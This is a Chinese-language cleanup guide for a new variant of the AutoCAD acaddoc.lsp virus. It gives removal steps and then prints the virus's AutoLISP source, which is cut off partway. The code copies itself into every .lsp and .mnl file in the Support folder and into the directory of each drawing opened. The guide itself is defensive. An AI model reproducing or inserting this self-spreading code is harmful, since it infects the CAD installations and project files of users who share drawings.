acadlsp病毒新变种.docVIP

【Acaddoc.lsp病毒】新变种 新变化：不再依靠acadapq.lsp了，会附加在support目录里的所有调用过的lsp文件以及.mnl文件后面。 杀法： 1.关闭cad 2.处理非系统盘，这个系统盘指autocad安装的盘。在cmd窗口打命令： （假设工作盘是E）e:回车 del acaddoc.lsp /s 回车 3.处理系统盘，注意天正、斯维尔等软件目录里的acaddoc.lsp日期是否不正常，大小一般不超过2K。正常的保留，不正常的删掉，功能受影响时重新覆盖安装。 4.处理C:\Program Files\AutoCAD 2009\Support目录，当然2008的目录类似。这个目录里的所有lsp文件和mnl文件，看日期，和其他系统文件一致的，保留，日期很新的，说明有问题。处理方法可以重装cad覆盖，或者手动编辑删除病毒代码（详见下面）。处理好后，把这个目录的lsp文件统统设成只读。这个目录应该没有acacdoc.lsp文件的。 5.附上病毒代码 (setq flagx t) (setq bz (setq flagx t)) (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r)) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r)) (setq wjm1 (open target a)) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar cmdecho 0) (setq acadmnl (findfile acad.mnl)) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile acad.exe)) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath \\support)) (setq lspfilelist (vl-directory-files support *.lsp)) (setq lspfilelist (append lspfilelist (list acaddoc.lsp))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar dwgname)) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath \\acaddoc.lsp)) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath \\ (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnl